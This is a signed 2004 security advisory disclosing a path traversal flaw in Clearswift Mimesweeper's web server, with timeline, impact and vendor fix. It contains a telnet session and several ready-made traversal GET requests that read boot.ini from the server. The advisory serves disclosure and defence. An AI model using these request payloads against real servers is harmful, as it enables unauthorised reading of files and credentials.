Clearswift Mimesweeper Path Traversal Vulnerability
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- -------------------------------------------------------------------
SySS-Advisory: Clearswift Mimesweeper Path Traversal Vulnerability
- -------------------------------------------------------------------
Problem discovered: July 27th 2004
Vendor contacted: August 5th 2004
Advisory published: August 11th 2004
AUTHOR: Pierre Kroma (kroma@xxxxxxx)
SySS GmbH
72070 Tuebingen / Germany
Tel.: +49-7071-407856-0
Key fingerprint = 927A B13E 16F5 BBAB 8F17 75EB D8E1 A9A4 F257 4EEC
APPLICATION: Clearswift Mimesweeper
AFFECTED VERSION: all < 5.0.4 (5.0.1 tested)
Remotely Exploitable: Yes
Locally Exploitable: Yes
SEVERITY: Critical
DESCRIPTION:
It is possible to read arbitrary files on
the remote server by prepending /foobar/\../\../
in front on the file name.
EXAMPLE:
telnet xx.xx.xx.xx 80
Trying xx.xx.xx.xx...
Connected to xx.xx.xx.xx.
Escape character is '^]'.
GET /foobar/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0
HTTP/1.0 200 Ok
Date: Do, 27 Jul 2004 14:30:07 GMT
Server: Clearswift Web Server
Content-length: 186
Content-type: application/octet-stream
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server"
/fastdetect
Connection closed by foreign host.
Here are some serveral examples:
GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0
IMPACT: This vulnerability can be used to retrieve any file from the partion
where the clearswift webserver is installed. The number of "/","\",".."
characters will depend on the ServerRoot (location of the virtual / directory)
setting.
VENDOR STATUS: Clearswift has fixed the vulnerability in version >= 5.0.4.
-----BEGIN PGP SIGNATURE-----
iD8DBQFBGj/O2OGppPJXTuwRApxvAJ96xep/MUzfKKiAm9MlICe4r+Q0OgCghDOO
sLrOlvzvBPK8xDGB178xQ14=
=qP1W
-----END PGP SIGNATURE-----